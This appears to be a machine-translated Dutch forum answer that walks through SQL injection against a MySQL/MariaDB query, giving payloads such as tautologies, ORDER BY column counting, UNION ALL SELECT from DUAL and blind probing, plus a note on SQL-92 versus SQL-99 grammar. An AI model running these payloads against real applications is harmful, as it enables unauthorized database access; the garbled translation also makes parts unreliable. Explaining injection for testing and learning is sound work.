Ok laten we dan wat plezier hebben.
Als ik naar de foutmelding kijk
Ik neem aan dat de query en code in de applicatie min of meer zo pseudo-wijs is, de @o
is in feite een MySQL-gebruikersvariabele..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Ik zal een SQL-viool gebruiken spatie om een SQL-injectietest te simuleren en meer om toegang te krijgen tot andere tabellen.
U kunt uw injectie testen met 1' OR 1 = 1#
of 1' OR 1 = 1--
beide zouden moeten werken en zouden hetzelfde resultaat moeten geven als je 1
. gebruikt als invoer. Dit komt omdat MariaDB automatisch de typen cast voor andere databases. Mogelijk moet u de strengere versie 1' OR '1' = '1#
gebruiken
Die zou moeten genereren
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Of
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Omdat u fouten in de toepassing ziet, kunt u ORDER BY 1
. gebruiken om te controleren hoeveel kolommen zijn geselecteerd en het aantal te verhogen totdat u een foutmelding krijgt.
Fout:ER_BAD_FIELD_ERROR:Onbekende kolom '2' in 'bestellingsclausule'
Injecteren met
1' ORDER BY 1#
of 1' ORDER BY 1--
Dat betekent sorteren op de eerste kolom in de resultatenset NIET sorteer 1
letterlijk.
Genereert
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Of
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Als u de kolommen kent, kunt u UNION
. gebruiken om in andere tabellen te komen. Gebruik NULL
als u niet alle kolommen nodig heeft.
injectie
1' UNION ALL SELECT NULL FROM DUAL#
Merk op dat DUAL
is een "virtuele" niet bestaande tabel in MariaDB, MySQL en Oracle, als u deze "tabel" kunt opvragen, betekent dit dat u technisch ook in andere tabellen kunt komen.
gegenereerde SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
En als de webpagina is ontworpen als een "detail"-pagina waar één record altijd zichtbaar is, moet u een LIMIT 1, 1
toevoegen bij uw injectie.
Wat als er geen fouten zichtbaar zijn in de webapplicatie, je zou gewoon blindelings bruteforce geuss moeten kunnen met blinde SQL-injecties en zien hoe de applicatie werkt.
Probeer ook dingen als ?o=0
, ?o=NULL
of zeer hoge getallen zoals de maximale INT-waarde (ondertekend) ?o=2147483647
of (niet ondertekend) ?o=4294967295
voordat u het gebruikte kolomnummer bruteforce probeert te gebruiken, zodat u weet hoe de toepassing omgaat met records die niet kunnen worden gevonden. Omdat het zeer onwaarschijnlijk is dat id 0
of die hoge cijfers op een INT
datatype, omdat de applicatie stopt met werken als het laatste nummer werd gegeven. Als je nog steeds een record krijgt met die hoge nummers, gebruik dan de maximale waarden voor BIGINT
gegevenstype in plaats daarvan.
Voor kolom 1 hetzelfde resultaat id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Voor kolommen 2 die een foutmelding geven, maar meestal ziet u een foutpagina of een bericht dat het record niet is gevonden.
Of een zoete HTTP 404-foutstatus (niet gevonden). 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Een probleem dat u kunt krijgen bij het gebruik van LIMIT
zonder ORDER BY
. te gebruiken zou een kans kunnen zijn om dezelfde records te krijgen omdat de SQL-standaard heeft gedefinieerd dat SQL-tabellen/resultatensets orderloos zijn zonder ORDER BY
. te gebruiken
U moet dus idealiter ORDER BY 1
blijven gebruiken in de brute krachten.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
En
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
De databases ondersteunen ORDER BY 1
is beter dan ik in eerste instantie dacht omdat het werkt in MySQL, MariaDB, SQL Server (MSSQL) en PostgreSQL.
Ook ORDER BY 1
was een SQL 92-functie die werd verwijderd in SQL 99.
Dus eigenlijk zouden SQL-databases ORDER BY 1
niet moeten uitvoeren annymore als ze de SQL-standaarden op dit punt zouden volgen.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC